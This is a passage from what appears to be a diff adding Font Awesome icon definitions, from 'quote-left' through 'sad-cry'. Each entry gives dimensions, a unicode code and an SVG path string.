510.2s3.8-23.1 11-55.4l94.6-112.2c4-4.7-.9-11.6-6.6-9.5l-60.4 22.1c14.4-41.7 32.7-80 54.6-97.5 59.9-47.8 163.3-40.9 163.3-40.9zm238 135c-44 0-79.8 35.8-79.8 79.9 0 44.1 35.7 79.9 79.8 79.9 44.1 0 79.8-35.8 79.8-79.9 0-44.2-35.8-79.9-79.8-79.9zM636.5 31L616.7 6c-5.5-6.9-15.5-8-22.4-2.6L361.8 181.3l-34.1-43c-5.1-6.4-15.1-5.2-18.6 2.2l-25.3 54.6 86.7 109.2 58.8-12.4c8-1.7 11.4-11.2 6.3-17.6l-34.1-42.9L634 53.5c6.9-5.5 8-15.6 2.5-22.5z"], + "quote-left": [512, 512, [], "f10d", "M464 256h-80v-64c0-35.3 28.7-64 64-64h8c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24h-8c-88.4 0-160 71.6-160 160v240c0 26.5 21.5 48 48 48h128c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48zm-288 0H96v-64c0-35.3 28.7-64 64-64h8c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24h-8C71.6 32 0 103.6 0 192v240c0 26.5 21.5 48 48 48h128c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48z"], + "quote-right": [512, 512, [], "f10e", "M464 32H336c-26.5 0-48 21.5-48 48v128c0 26.5 21.5 48 48 48h80v64c0 35.3-28.7 64-64 64h-8c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h8c88.4 0 160-71.6 160-160V80c0-26.5-21.5-48-48-48zm-288 0H48C21.5 32 0 53.5 0 80v128c0 26.5 21.5 48 48 48h80v64c0 35.3-28.7 64-64 64h-8c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h8c88.4 0 160-71.6 160-160V80c0-26.5-21.5-48-48-48z"], + "quran": [448, 512, [], "f687", "M448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM301.08 145.82c.6-1.21 1.76-1.82 2.92-1.82s2.32.61 2.92 1.82l11.18 22.65 25 3.63c2.67.39 3.74 3.67 1.81 5.56l-18.09 17.63 4.27 24.89c.36 2.11-1.31 3.82-3.21 3.82-.5 0-1.02-.12-1.52-.38L304 211.87l-22.36 11.75c-.5.26-1.02.38-1.52.38-1.9 0-3.57-1.71-3.21-3.82l4.27-24.89-18.09-17.63c-1.94-1.89-.87-5.17 1.81-5.56l24.99-3.63 11.19-22.65zm-57.89-69.01c13.67 0 27.26 2.49 40.38 7.41a6.775 6.775 0 1 1-2.38 13.12c-.67 0-3.09-.21-4.13-.21-52.31 0-94.86 42.55-94.86 94.86 0 52.3 42.55 94.86 94.86 94.86 1.03 0 3.48-.21 4.13-.21 3.93 0 6.8 3.14 6.8 6.78 0 2.98-1.94 5.51-4.62 6.42-13.07 4.87-26.59 7.34-40.19 7.34C179.67 307.19 128 255.51 128 192c0-63.52 51.67-115.19 115.19-115.19zM380.8 448H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8v64z"], + "radiation": [496, 512, [], "f7b9", "M328.2 255.8h151.6c9.1 0 16.8-7.7 16.2-16.8-5.1-75.8-44.4-142.2-102.5-184.2-7.4-5.3-17.9-2.9-22.7 4.8L290.4 188c22.6 14.3 37.8 39.2 37.8 67.8zm-37.8 67.7c-12.3 7.7-26.8 12.4-42.4 12.4-15.6 0-30-4.7-42.4-12.4L125.2 452c-4.8 7.7-2.4 18.1 5.6 22.4C165.7 493.2 205.6 504 248 504s82.3-10.8 117.2-29.6c8-4.3 10.4-14.8 5.6-22.4l-80.4-128.5zM248 303.8c26.5 0 48-21.5 48-48s-21.5-48-48-48-48 21.5-48 48 21.5 48 48 48zm-231.8-48h151.6c0-28.6 15.2-53.5 37.8-67.7L125.2 59.7c-4.8-7.7-15.3-10.2-22.7-4.8C44.4 96.9 5.1 163.3 0 239.1c-.6 9 7.1 16.7 16.2 16.7z"], + "radiation-alt": [496, 512, [], "f7ba", "M312 256h79.1c9.2 0 16.9-7.7 16-16.8-4.6-43.6-27-81.8-59.5-107.8-7.6-6.1-18.8-4.5-24 3.8L281.9 202c18 11.2 30.1 31.2 30.1 54zm-97.8 54.1L172.4 377c-4.9 7.8-2.4 18.4 5.8 22.5 21.1 10.4 44.7 16.5 69.8 16.5s48.7-6.1 69.9-16.5c8.2-4.1 10.6-14.7 5.8-22.5l-41.8-66.9c-9.8 6.2-21.4 9.9-33.8 9.9s-24.1-3.7-33.9-9.9zM104.9 256H184c0-22.8 12.1-42.8 30.2-54.1l-41.7-66.8c-5.2-8.3-16.4-9.9-24-3.8-32.6 26-54.9 64.2-59.5 107.8-1.1 9.2 6.7 16.9 15.9 16.9zM248 504c137 0 248-111 248-248S385 8 248 8 0 119 0 256s111 248 248 248zm0-432c101.5 0 184 82.5 184 184s-82.5 184-184 184S64 357.5 64 256 146.5 72 248 72zm0 216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z"], + "rainbow": [576, 512, [], "f75b", "M268.3 32.7C115.4 42.9 0 176.9 0 330.2V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320C64 186.8 180.9 80.3 317.5 97.9 430.4 112.4 512 214 512 327.8V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-165.3-140-298.6-307.7-287.3zm-5.6 96.9C166 142 96 229.1 96 326.7V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-74.8 64.5-134.8 140.8-127.4 66.5 6.5 115.2 66.2 115.2 133.1V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-114.2-100.2-205.4-217.3-190.4zm6.2 96.3c-45.6 8.9-76.9 51.5-76.9 97.9V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-17.6 14.3-32 32-32s32 14.4 32 32v144c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-59.2-53.8-106-115.1-94.1z"], + "random": [512, 512, [], "f074", "M504.971 359.029c9.373 9.373 9.373 24.569 0 33.941l-80 79.984c-15.01 15.01-40.971 4.49-40.971-16.971V416h-58.785a12.004 12.004 0 0 1-8.773-3.812l-70.556-75.596 53.333-57.143L352 336h32v-39.981c0-21.438 25.943-31.998 40.971-16.971l80 79.981zM12 176h84l52.781 56.551 53.333-57.143-70.556-75.596A11.999 11.999 0 0 0 122.785 96H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12zm372 0v39.984c0 21.46 25.961 31.98 40.971 16.971l80-79.984c9.373-9.373 9.373-24.569 0-33.941l-80-79.981C409.943 24.021 384 34.582 384 56.019V96h-58.785a12.004 12.004 0 0 0-8.773 3.812L96 336H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12h110.785c3.326 0 6.503-1.381 8.773-3.812L352 176h32z"], + "receipt": [384, 512, [], "f543", "M358.4 3.2L320 48 265.6 3.2a15.9 15.9 0 0 0-19.2 0L192 48 137.6 3.2a15.9 15.9 0 0 0-19.2 0L64 48 25.6 3.2C15-4.7 0 2.8 0 16v480c0 13.2 15 20.7 25.6 12.8L64 464l54.4 44.8a15.9 15.9 0 0 0 19.2 0L192 464l54.4 44.8a15.9 15.9 0 0 0 19.2 0L320 464l38.4 44.8c10.5 7.9 25.6.4 25.6-12.8V16c0-13.2-15-20.7-25.6-12.8zM320 360c0 4.4-3.6 8-8 8H72c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h240c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H72c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h240c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H72c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h240c4.4 0 8 3.6 8 8v16z"], + "record-vinyl": [512, 512, [], "f8d9", "M256 152a104 104 0 1 0 104 104 104 104 0 0 0-104-104zm0 128a24 24 0 1 1 24-24 24 24 0 0 1-24 24zm0-272C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 376a128 128 0 1 1 128-128 128 128 0 0 1-128 128z"], + "recycle": [512, 512, [], "f1b8", "M184.561 261.903c3.232 13.997-12.123 24.635-24.068 17.168l-40.736-25.455-50.867 81.402C55.606 356.273 70.96 384 96.012 384H148c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12H96.115c-75.334 0-121.302-83.048-81.408-146.88l50.822-81.388-40.725-25.448c-12.081-7.547-8.966-25.961 4.879-29.158l110.237-25.45c8.611-1.988 17.201 3.381 19.189 11.99l25.452 110.237zm98.561-182.915l41.289 66.076-40.74 25.457c-12.051 7.528-9 25.953 4.879 29.158l110.237 25.45c8.672 1.999 17.215-3.438 19.189-11.99l25.45-110.237c3.197-13.844-11.99-24.719-24.068-17.168l-40.687 25.424-41.263-66.082c-37.521-60.033-125.209-60.171-162.816 0l-17.963 28.766c-3.51 5.62-1.8 13.021 3.82 16.533l33.919 21.195c5.62 3.512 13.024 1.803 16.536-3.817l17.961-28.743c12.712-20.341 41.973-19.676 54.257-.022zM497.288 301.12l-27.515-44.065c-3.511-5.623-10.916-7.334-16.538-3.821l-33.861 21.159c-5.62 3.512-7.33 10.915-3.818 16.536l27.564 44.112c13.257 21.211-2.057 48.96-27.136 48.96H320V336.02c0-14.213-17.242-21.383-27.313-11.313l-80 79.981c-6.249 6.248-6.249 16.379 0 22.627l80 79.989C302.689 517.308 320 510.3 320 495.989V448h95.88c75.274 0 121.335-82.997 81.408-146.88z"], + "redo": [512, 512, [], "f01e", "M500.33 0h-47.41a12 12 0 0 0-12 12.57l4 82.76A247.42 247.42 0 0 0 256 8C119.34 8 7.9 119.53 8 256.19 8.1 393.07 119.1 504 256 504a247.1 247.1 0 0 0 166.18-63.91 12 12 0 0 0 .48-17.43l-34-34a12 12 0 0 0-16.38-.55A176 176 0 1 1 402.1 157.8l-101.53-4.87a12 12 0 0 0-12.57 12v47.41a12 12 0 0 0 12 12h200.33a12 12 0 0 0 12-12V12a12 12 0 0 0-12-12z"], + "redo-alt": [512, 512, [], "f2f9", "M256.455 8c66.269.119 126.437 26.233 170.859 68.685l35.715-35.715C478.149 25.851 504 36.559 504 57.941V192c0 13.255-10.745 24-24 24H345.941c-21.382 0-32.09-25.851-16.971-40.971l41.75-41.75c-30.864-28.899-70.801-44.907-113.23-45.273-92.398-.798-170.283 73.977-169.484 169.442C88.764 348.009 162.184 424 256 424c41.127 0 79.997-14.678 110.629-41.556 4.743-4.161 11.906-3.908 16.368.553l39.662 39.662c4.872 4.872 4.631 12.815-.482 17.433C378.202 479.813 319.926 504 256 504 119.034 504 8.001 392.967 8 256.002 7.999 119.193 119.646 7.755 256.455 8z"], + "registered": [512, 512, [], "f25d", "M285.363 207.475c0 18.6-9.831 28.431-28.431 28.431h-29.876v-56.14h23.378c28.668 0 34.929 8.773 34.929 27.709zM504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zM363.411 360.414c-46.729-84.825-43.299-78.636-44.702-80.98 23.432-15.172 37.945-42.979 37.945-74.486 0-54.244-31.5-89.252-105.498-89.252h-70.667c-13.255 0-24 10.745-24 24V372c0 13.255 10.745 24 24 24h22.567c13.255 0 24-10.745 24-24v-71.663h25.556l44.129 82.937a24.001 24.001 0 0 0 21.188 12.727h24.464c18.261-.001 29.829-19.591 21.018-35.587z"], + "remove-format": [640, 512, [], "f87d", "M336 416h-11.17l9.26-27.77L267 336.4 240.49 416H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm297.82 42.1L377 259.59 426.17 112H544v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16H176a16 16 0 0 0-16 16v43.9L45.46 3.38A16 16 0 0 0 23 6.19L3.37 31.46a16 16 0 0 0 2.81 22.45l588.36 454.72a16 16 0 0 0 22.46-2.81l19.64-25.27a16 16 0 0 0-2.82-22.45zM309.91 207.76L224 141.36V112h117.83z"], + "reply": [512, 512, [], "f3e5", "M8.309 189.836L184.313 37.851C199.719 24.546 224 35.347 224 56.015v80.053c160.629 1.839 288 34.032 288 186.258 0 61.441-39.581 122.309-83.333 154.132-13.653 9.931-33.111-2.533-28.077-18.631 45.344-145.012-21.507-183.51-176.59-185.742V360c0 20.7-24.3 31.453-39.687 18.164l-176.004-152c-11.071-9.562-11.086-26.753 0-36.328z"], + "reply-all": [576, 512, [], "f122", "M136.309 189.836L312.313 37.851C327.72 24.546 352 35.348 352 56.015v82.763c129.182 10.231 224 52.212 224 183.548 0 61.441-39.582 122.309-83.333 154.132-13.653 9.931-33.111-2.533-28.077-18.631 38.512-123.162-3.922-169.482-112.59-182.015v84.175c0 20.701-24.3 31.453-39.687 18.164L136.309 226.164c-11.071-9.561-11.086-26.753 0-36.328zm-128 36.328L184.313 378.15C199.7 391.439 224 380.687 224 359.986v-15.818l-108.606-93.785A55.96 55.96 0 0 1 96 207.998a55.953 55.953 0 0 1 19.393-42.38L224 71.832V56.015c0-20.667-24.28-31.469-39.687-18.164L8.309 189.836c-11.086 9.575-11.071 26.767 0 36.328z"], + "republican": [640, 512, [], "f75e", "M544 192c0-88.4-71.6-160-160-160H160C71.6 32 0 103.6 0 192v64h544v-64zm-367.7-21.6l-19.8 19.3 4.7 27.3c.8 4.9-4.3 8.6-8.7 6.3L128 210.4l-24.5 12.9c-4.3 2.3-9.5-1.4-8.7-6.3l4.7-27.3-19.8-19.3c-3.6-3.5-1.6-9.5 3.3-10.2l27.4-4 12.2-24.8c2.2-4.5 8.6-4.4 10.7 0l12.2 24.8 27.4 4c5 .7 6.9 6.7 3.4 10.2zm144 0l-19.8 19.3 4.7 27.3c.8 4.9-4.3 8.6-8.7 6.3L272 210.4l-24.5 12.9c-4.3 2.3-9.5-1.4-8.7-6.3l4.7-27.3-19.8-19.3c-3.6-3.5-1.6-9.5 3.3-10.2l27.4-4 12.2-24.8c2.2-4.5 8.6-4.4 10.7 0l12.2 24.8 27.4 4c5 .7 6.9 6.7 3.4 10.2zm144 0l-19.8 19.3 4.7 27.3c.8 4.9-4.3 8.6-8.7 6.3L416 210.4l-24.5 12.9c-4.3 2.3-9.5-1.4-8.7-6.3l4.7-27.3-19.8-19.3c-3.6-3.5-1.6-9.5 3.3-10.2l27.4-4 12.2-24.8c2.2-4.5 8.6-4.4 10.7 0l12.2 24.8 27.4 4c5 .7 6.9 6.7 3.4 10.2zM624 320h-32c-8.8 0-16 7.2-16 16v64c0 8.8-7.2 16-16 16s-16-7.2-16-16V288H0v176c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16v-80h192v80c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16V352h32v43.3c0 41.8 30 80.1 71.6 84.3 47.8 4.9 88.4-32.7 88.4-79.6v-64c0-8.8-7.2-16-16-16z"], + "restroom": [640, 512, [], "f7bd", "M128 128c35.3 0 64-28.7 64-64S163.3 0 128 0 64 28.7 64 64s28.7 64 64 64zm384 0c35.3 0 64-28.7 64-64S547.3 0 512 0s-64 28.7-64 64 28.7 64 64 64zm127.3 226.5l-45.6-185.8c-3.3-13.5-15.5-23-29.8-24.2-15 9.7-32.8 15.5-52 15.5-19.2 0-37-5.8-52-15.5-14.3 1.2-26.5 10.7-29.8 24.2l-45.6 185.8C381 369.6 393 384 409.2 384H464v104c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V384h54.8c16.2 0 28.2-14.4 24.5-29.5zM336 0h-32c-8.8 0-16 7.2-16 16v480c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16zM180.1 144.4c-15 9.8-32.9 15.6-52.1 15.6-19.2 0-37.1-5.8-52.1-15.6C51.3 146.5 32 166.9 32 192v136c0 13.3 10.7 24 24 24h8v136c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V352h8c13.3 0 24-10.7 24-24V192c0-25.1-19.3-45.5-43.9-47.6z"], + "retweet": [640, 512, [], "f079", "M629.657 343.598L528.971 444.284c-9.373 9.372-24.568 9.372-33.941 0L394.343 343.598c-9.373-9.373-9.373-24.569 0-33.941l10.823-10.823c9.562-9.562 25.133-9.34 34.419.492L480 342.118V160H292.451a24.005 24.005 0 0 1-16.971-7.029l-16-16C244.361 121.851 255.069 96 276.451 96H520c13.255 0 24 10.745 24 24v222.118l40.416-42.792c9.285-9.831 24.856-10.054 34.419-.492l10.823 10.823c9.372 9.372 9.372 24.569-.001 33.941zm-265.138 15.431A23.999 23.999 0 0 0 347.548 352H160V169.881l40.416 42.792c9.286 9.831 24.856 10.054 34.419.491l10.822-10.822c9.373-9.373 9.373-24.569 0-33.941L144.971 67.716c-9.373-9.373-24.569-9.373-33.941 0L10.343 168.402c-9.373 9.373-9.373 24.569 0 33.941l10.822 10.822c9.562 9.562 25.133 9.34 34.419-.491L96 169.881V392c0 13.255 10.745 24 24 24h243.549c21.382 0 32.09-25.851 16.971-40.971l-16.001-16z"], + "ribbon": [448, 512, [], "f4d6", "M6.1 444.3c-9.6 10.8-7.5 27.6 4.5 35.7l68.8 27.9c9.9 6.7 23.3 5 31.3-3.8l91.8-101.9-79.2-87.9-117.2 130zm435.8 0s-292-324.6-295.4-330.1c15.4-8.4 40.2-17.9 77.5-17.9s62.1 9.5 77.5 17.9c-3.3 5.6-56 64.6-56 64.6l79.1 87.7 34.2-38c28.7-31.9 33.3-78.6 11.4-115.5l-43.7-73.5c-4.3-7.2-9.9-13.3-16.8-18-40.7-27.6-127.4-29.7-171.4 0-6.9 4.7-12.5 10.8-16.8 18l-43.6 73.2c-1.5 2.5-37.1 62.2 11.5 116L337.5 504c8 8.9 21.4 10.5 31.3 3.8l68.8-27.9c11.9-8 14-24.8 4.3-35.6z"], + "ring": [512, 512, [], "f70b", "M256 64C110.06 64 0 125.91 0 208v98.13C0 384.48 114.62 448 256 448s256-63.52 256-141.87V208c0-82.09-110.06-144-256-144zm0 64c106.04 0 192 35.82 192 80 0 9.26-3.97 18.12-10.91 26.39C392.15 208.21 328.23 192 256 192s-136.15 16.21-181.09 42.39C67.97 226.12 64 217.26 64 208c0-44.18 85.96-80 192-80zM120.43 264.64C155.04 249.93 201.64 240 256 240s100.96 9.93 135.57 24.64C356.84 279.07 308.93 288 256 288s-100.84-8.93-135.57-23.36z"], + "road": [576, 512, [], "f018", "M573.19 402.67l-139.79-320C428.43 71.29 417.6 64 405.68 64h-97.59l2.45 23.16c.5 4.72-3.21 8.84-7.96 8.84h-29.16c-4.75 0-8.46-4.12-7.96-8.84L267.91 64h-97.59c-11.93 0-22.76 7.29-27.73 18.67L2.8 402.67C-6.45 423.86 8.31 448 30.54 448h196.84l10.31-97.68c.86-8.14 7.72-14.32 15.91-14.32h68.8c8.19 0 15.05 6.18 15.91 14.32L348.62 448h196.84c22.23 0 36.99-24.14 27.73-45.33zM260.4 135.16a8 8 0 0 1 7.96-7.16h39.29c4.09 0 7.53 3.09 7.96 7.16l4.6 43.58c.75 7.09-4.81 13.26-11.93 13.26h-40.54c-7.13 0-12.68-6.17-11.93-13.26l4.59-43.58zM315.64 304h-55.29c-9.5 0-16.91-8.23-15.91-17.68l5.07-48c.86-8.14 7.72-14.32 15.91-14.32h45.15c8.19 0 15.05 6.18 15.91 14.32l5.07 48c1 9.45-6.41 17.68-15.91 17.68z"], + "robot": [640, 512, [], "f544", "M32,224H64V416H32A31.96166,31.96166,0,0,1,0,384V256A31.96166,31.96166,0,0,1,32,224Zm512-48V448a64.06328,64.06328,0,0,1-64,64H160a64.06328,64.06328,0,0,1-64-64V176a79.974,79.974,0,0,1,80-80H288V32a32,32,0,0,1,64,0V96H464A79.974,79.974,0,0,1,544,176ZM264,256a40,40,0,1,0-40,40A39.997,39.997,0,0,0,264,256Zm-8,128H192v32h64Zm96,0H288v32h64ZM456,256a40,40,0,1,0-40,40A39.997,39.997,0,0,0,456,256Zm-8,128H384v32h64ZM640,256V384a31.96166,31.96166,0,0,1-32,32H576V224h32A31.96166,31.96166,0,0,1,640,256Z"], + "rocket": [512, 512, [], "f135", "M505.12019,19.09375c-1.18945-5.53125-6.65819-11-12.207-12.1875C460.716,0,435.507,0,410.40747,0,307.17523,0,245.26909,55.20312,199.05238,128H94.83772c-16.34763.01562-35.55658,11.875-42.88664,26.48438L2.51562,253.29688A28.4,28.4,0,0,0,0,264a24.00867,24.00867,0,0,0,24.00582,24H127.81618l-22.47457,22.46875c-11.36521,11.36133-12.99607,32.25781,0,45.25L156.24582,406.625c11.15623,11.1875,32.15619,13.15625,45.27726,0l22.47457-22.46875V488a24.00867,24.00867,0,0,0,24.00581,24,28.55934,28.55934,0,0,0,10.707-2.51562l98.72834-49.39063c14.62888-7.29687,26.50776-26.5,26.50776-42.85937V312.79688c72.59753-46.3125,128.03493-108.40626,128.03493-211.09376C512.07526,76.5,512.07526,51.29688,505.12019,19.09375ZM384.04033,168A40,40,0,1,1,424.05,128,40.02322,40.02322,0,0,1,384.04033,168Z"], + "route": [512, 512, [], "f4d7", "M416 320h-96c-17.6 0-32-14.4-32-32s14.4-32 32-32h96s96-107 96-160-43-96-96-96-96 43-96 96c0 25.5 22.2 63.4 45.3 96H320c-52.9 0-96 43.1-96 96s43.1 96 96 96h96c17.6 0 32 14.4 32 32s-14.4 32-32 32H185.5c-16 24.8-33.8 47.7-47.3 64H416c52.9 0 96-43.1 96-96s-43.1-96-96-96zm0-256c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zM96 256c-53 0-96 43-96 96s96 160 96 160 96-107 96-160-43-96-96-96zm0 128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"], + "rss": [448, 512, [], "f09e", "M128.081 415.959c0 35.369-28.672 64.041-64.041 64.041S0 451.328 0 415.959s28.672-64.041 64.041-64.041 64.04 28.673 64.04 64.041zm175.66 47.25c-8.354-154.6-132.185-278.587-286.95-286.95C7.656 175.765 0 183.105 0 192.253v48.069c0 8.415 6.49 15.472 14.887 16.018 111.832 7.284 201.473 96.702 208.772 208.772.547 8.397 7.604 14.887 16.018 14.887h48.069c9.149.001 16.489-7.655 15.995-16.79zm144.249.288C439.596 229.677 251.465 40.445 16.503 32.01 7.473 31.686 0 38.981 0 48.016v48.068c0 8.625 6.835 15.645 15.453 15.999 191.179 7.839 344.627 161.316 352.465 352.465.353 8.618 7.373 15.453 15.999 15.453h48.068c9.034-.001 16.329-7.474 16.005-16.504z"], + "rss-square": [448, 512, [], "f143", "M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM112 416c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm157.533 0h-34.335c-6.011 0-11.051-4.636-11.442-10.634-5.214-80.05-69.243-143.92-149.123-149.123-5.997-.39-10.633-5.431-10.633-11.441v-34.335c0-6.535 5.468-11.777 11.994-11.425 110.546 5.974 198.997 94.536 204.964 204.964.352 6.526-4.89 11.994-11.425 11.994zm103.027 0h-34.334c-6.161 0-11.175-4.882-11.427-11.038-5.598-136.535-115.204-246.161-251.76-251.76C68.882 152.949 64 147.935 64 141.774V107.44c0-6.454 5.338-11.664 11.787-11.432 167.83 6.025 302.21 141.191 308.205 308.205.232 6.449-4.978 11.787-11.432 11.787z"], + "ruble-sign": [384, 512, [], "f158", "M239.36 320C324.48 320 384 260.542 384 175.071S324.48 32 239.36 32H76c-6.627 0-12 5.373-12 12v206.632H12c-6.627 0-12 5.373-12 12V308c0 6.627 5.373 12 12 12h52v32H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h52v52c0 6.627 5.373 12 12 12h58.56c6.627 0 12-5.373 12-12v-52H308c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12H146.56v-32h92.8zm-92.8-219.252h78.72c46.72 0 74.88 29.11 74.88 74.323 0 45.832-28.16 75.561-76.16 75.561h-77.44V100.748z"], + "ruler": [640, 512, [], "f545", "M635.7 167.2L556.1 31.7c-8.8-15-28.3-20.1-43.5-11.5l-69 39.1L503.3 161c2.2 3.8.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9L416 75l-55.2 31.3 27.9 47.4c2.2 3.8.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9L333.2 122 278 153.3 337.8 255c2.2 3.7.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9l-59.7-101.7-55.2 31.3 27.9 47.4c2.2 3.8.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9l-27.9-47.5-55.2 31.3 59.7 101.7c2.2 3.7.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9L84.9 262.9l-69 39.1C.7 310.7-4.6 329.8 4.2 344.8l79.6 135.6c8.8 15 28.3 20.1 43.5 11.5L624.1 210c15.2-8.6 20.4-27.8 11.6-42.8z"], + "ruler-combined": [512, 512, [], "f546", "M160 288h-56c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h56v-64h-56c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h56V96h-56c-4.42 0-8-3.58-8-8V72c0-4.42 3.58-8 8-8h56V32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v448c0 2.77.91 5.24 1.57 7.8L160 329.38V288zm320 64h-32v56c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-56h-64v56c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-56h-64v56c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-56h-41.37L24.2 510.43c2.56.66 5.04 1.57 7.8 1.57h448c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32z"], + "ruler-horizontal": [576, 512, [], "f547", "M544 128h-48v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8H88c-4.42 0-8-3.58-8-8v-88H32c-17.67 0-32 14.33-32 32v192c0 17.67 14.33 32 32 32h512c17.67 0 32-14.33 32-32V160c0-17.67-14.33-32-32-32z"], + "ruler-vertical": [256, 512, [], "f548", "M168 416c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88v-64h-88c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88v-64h-88c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88v-64h-88c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88V32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v448c0 17.67 14.33 32 32 32h192c17.67 0 32-14.33 32-32v-64h-88z"], + "running": [416, 512, [], "f70c", "M272 96c26.51 0 48-21.49 48-48S298.51 0 272 0s-48 21.49-48 48 21.49 48 48 48zM113.69 317.47l-14.8 34.52H32c-17.67 0-32 14.33-32 32s14.33 32 32 32h77.45c19.25 0 36.58-11.44 44.11-29.09l8.79-20.52-10.67-6.3c-17.32-10.23-30.06-25.37-37.99-42.61zM384 223.99h-44.03l-26.06-53.25c-12.5-25.55-35.45-44.23-61.78-50.94l-71.08-21.14c-28.3-6.8-57.77-.55-80.84 17.14l-39.67 30.41c-14.03 10.75-16.69 30.83-5.92 44.86s30.84 16.66 44.86 5.92l39.69-30.41c7.67-5.89 17.44-8 25.27-6.14l14.7 4.37-37.46 87.39c-12.62 29.48-1.31 64.01 26.3 80.31l84.98 50.17-27.47 87.73c-5.28 16.86 4.11 34.81 20.97 40.09 3.19 1 6.41 1.48 9.58 1.48 13.61 0 26.23-8.77 30.52-22.45l31.64-101.06c5.91-20.77-2.89-43.08-21.64-54.39l-61.24-36.14 31.31-78.28 20.27 41.43c8 16.34 24.92 26.89 43.11 26.89H384c17.67 0 32-14.33 32-32s-14.33-31.99-32-31.99z"], + "rupee-sign": [320, 512, [], "f156", "M308 96c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v44.748c0 6.627 5.373 12 12 12h85.28c27.308 0 48.261 9.958 60.97 27.252H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h158.757c-6.217 36.086-32.961 58.632-74.757 58.632H12c-6.627 0-12 5.373-12 12v53.012c0 3.349 1.4 6.546 3.861 8.818l165.052 152.356a12.001 12.001 0 0 0 8.139 3.182h82.562c10.924 0 16.166-13.408 8.139-20.818L116.871 319.906c76.499-2.34 131.144-53.395 138.318-127.906H308c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-58.69c-3.486-11.541-8.28-22.246-14.252-32H308z"], + "sad-cry": [496, 512, [], "f5b3", "M248 8C111 8 0 119 0 256c0 90.1 48.2 168.7 120 212.1V288c0-8.8 7.2-16 16-16s16 7.2 16 16v196.7c29.5 12.4 62 19.3 96 